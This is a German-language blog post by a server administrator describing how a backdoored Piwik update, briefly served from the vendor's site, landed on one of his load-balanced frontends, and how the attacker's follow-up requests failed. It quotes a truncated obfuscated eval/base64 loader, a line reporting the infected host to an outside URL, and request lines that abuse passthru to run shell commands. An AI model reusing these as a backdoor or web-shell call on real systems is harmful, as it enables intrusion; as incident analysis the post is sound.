piwik gehackt

eigentlich glaube ich nicht an Zufaelle. Uneigentlich habe ich gestern einen Hack auf unserem Piwik-Server installiert, der sich gestern Abend fuer etwa 8 Stunden auf der Download-Seite des Herstellers eingeschlichen hatte. Und das, obwohl ich vorher natuerlich das Update auf einem Test-System geprueft habe. Gestern Abend dann also ein Klick auf den Update-Link im Produktions-System und prompt ging nix mehr auf der Installation. Also vorsorglich wieder den Ursprungszustand aufgespielt. Heute dann die Ueberraschung: Die paar Minuten haben gereicht, damit ein Uebelwicht sich an unserem Serversystem versuchte. Und gloreich auch am gesteuerten Zufall scheiterte 🙂

Keine Ahnung, ob der Hacker auch in die Tischkante gebissen hat, als er gestern an unserem Serversystem scheiterte. Wenn er/sie gleich liest warum, muss aber sicher der Tisch dran glauben 😉

Bevor ich hier ueber die Details zum versuchten Hack unseres Statistik-Servers schreibe, muss ich aber noch ein Kompliment an die engagierten Programmierer wie auch Nutzer von Piwik loswerden: ein gehackter Download wird binnen zwei Stunden entdeckt, binnen zwei weiterer Stunden offline genommen und nach 8 Stunden ist die Welt wieder hergestellt. Das ist eine super Leistung!

Nachdem sich in Piwik 1.9.1 ein paar Probleme bei der Anzeige von Auswertungen uebers Webinterface eingeschlichen hatten, war die neue Version heiss ersehnt. Natuerlich spielen wir die nicht „mal eben“ auf, sobald uns der Link im Admin-Bereich dazu auffordert. Immerhin hat unser Server im vergangenen Monat fast einen halbe Million Besucher gezaehlt. Da sollte der Webseitenaufruf sich nicht unnoetig verzoegern, nur weil ein Statistik-Tool spinnt. Klar, setzt sicher jeder die non-blocking Variante ein. Aber trotzdem ist eine Stoerung natuerlich unschoen. Also erstmal das Update auf einem Testsystem checken und etwa Zeit vergehen lassen, um die Community-Foren und Mailinglisten zu lesen, damit von uns eventuell nicht entdeckte Probleme sich gar nicht erst einschleichen. Gestern Abend war es dann aber mal Zeit, die Produktions-Systeme zu updaten.

Klick, und Error. Mist! Warum, treibe ich eigentlich den Testaufwand? Argl, bloeder Zufall, der Balancer hat nicht ordentlich verteilt und mich zufaellig auf ein Frontend geworfen, das noch nicht vollstaendig updatet war. Okay, vorsichtshalber nochmal alten Zustand aufspielen. Klick, und nix passiert. Was nu? Huch, der Download von der Piwik-Seite klappt nicht. Egal, ich hatte vorhin ja noch schnell den Download geckeckt und deshalb eine Kopie auf der Platte. Also spielen wir die halt ein… Und das war zufaellig genau die Version, in welcher der Hacker auf der Piwik-Seite fuer ein paar Stunden seinen Code eingenistet hatte. Was ich zu diesem Zeitpunkt nicht wusste.

Wenn schonmal irgendwie der Wurm drin ist, dann kann es trotz diverser Tests nicht schaden, den Umfang des Vorhabens etwas zu reduzieren. Deshalb habe ich bewusst riskiert, dass zwischenzeitlich ein paar Besucher nicht erfasst werden koennen und die IP _meines_ Rechners via Balancer auf genau _einen_ Frontend-Server eingeschraenkt. Netter Nebeneffekt: Wenn zufaellig ein boeser Hacker daher kommt, der sich vom frisch updaten Frontend angezogen fuehlt, dann landet er mit einer schoenen Warscheinlickeit von 1:8 auf einem noch nicht updateten und daher inaktiven Frontend.

Diesmal also nicht Klick sondern „zip && mv“ und damit war die neue Version auf dem _einen_ Frontend installiert. Der Hack funktioniert so, dass er beim Aufruf von Piwik die folgenden Funktionen ausfuehrt

eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOma...

In diesem base64-codierten Teil versucht der Code auf verschiedene Weise nach Hause zu telefonieren, um ueber den erfolgreichen Einbruch zu berichten. Ein Beispiel:

http://prostoivse.com/x.php","reff=".str_replace("&","%26",$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']));

Hier wird versucht „http://prostoivse.com/x.php“ mitzuteilen, dass „$_SERVER[‚HTTP_HOST‘]“ infiziert ist.

Da ich gerade beim Updaten des einen Frontends war, funktionierte das auch. Was ich zu diesem Zeitpunkt natuerlich noch nicht wusste. „prostoivse.com“ hatte zum Zeitpunkt des Angriffs uebrigens die IP 50.87.112.40, der Angriff selber erfolgte dann aber ueber die IP 31.3.252.196, welche zu einer Maschine beim englischen Provider www.redstation.com gehoert. Wie der Zufall es so will, landete der Uebelwicht von der Insel bei seinem ersten Aufruf aber genau auf dem bereits updateten/infizierten Frontend als er mit einem

GET /piwik/index.php?g=@passthru($_GET[s]);&s=pwd

versuchte, das Verzeichnis zu erfahren, in welchem sich die Installation befindet. Nunja, zumindest auf diesem Frontend 😉 Sein naechster Versuch

POST /piwik/core/DataTable/Filter/Megre.php

eine Datei auf den Server zu schieben, landete dann auf einem Frontend, dass zwar schon „infiziert“ war, auf dem der Webserver aber keine Schreibrechte hat. Um den Zufall dann noch auf die Spitze zu treiben, lieferte sein dritter Aufruf

GET /w.php HTTP/1.1 - HTTP/1.1 404 Not Found

nur eine Fehlermeldung. Hm, seltsam wird er sich da gedacht haben. Und versucht sich erstmal mit

GET /piwik/index.php?g=@passthru($_GET[s]);&s=ls%20/vol/stats.3uu.org/htdocs/%20-al

den Inhalt des Verzeichnisses anzusehen. Zufaelligerweise wieder auf einem ganz anderem Frontend. Tja, so ist das, wenn Leute mit wenig Verstand einen Angriff starten. Es ist zwar schon eine gehoerige Leistung, den Webserver eines Software-Herstellers zu hacken, um dessen Produkte zu kompromittieren. Wer sich dafuer aber ausgerechnet den Hersteller einer Statistik-Loesung aussucht, die zumindest bei gut laufenden („lohnenden“) Installationen garantiert gebalanct ist, sollte sich schon auf die Besonderheiten einer solchen Umgebung gefasst machen. Und dabei rede ich noch nicht einmal davon, dass man mit so unbedarftem Vorgehen direkt nach einem Update bzw einer Infektion garantiert auch von der ein oder anderen IDS gefangen wird… Deren Einsatz ist in solchen Umgebungen ja wohl eher zu erwarten als zufaellig.

Nunja, der Rest des Logfiles zeigt dann noch ein paar vergebliche Bemuehungen, die standardmaessig im tmp-Verzeichnis von Piwik liegende .htaccess ausser Kraft zu setzen. Aber zu dem Zeitpunkt hatte ich schon laengst aufgegeben, das Update von Piwik zu installieren und den alten Zustand wiederhergestellt. Der bleibt jetzt auch noch ne Weile. Im Moment erfreue ich mich noch immer daran, diesem Hacker ein paar Bloedsinns-Domains wie „example.com“ oder „prostoivse.com“ unter http://prostoivse.com/x.php fuer seine Angriffe vorzuschlagen 😉

p.s.: Das Update von Piwik ist natuerlich nur aufgeschoben. Heute wird es aber nix mehr. Logfile-Analyse hat leider mehr Zeit in Anspruch genommen als es sollte.
p.p.s.: Wer die infizierte Datei zur Code-Analyse haben will, bitte einfach an unseren Support schreiben.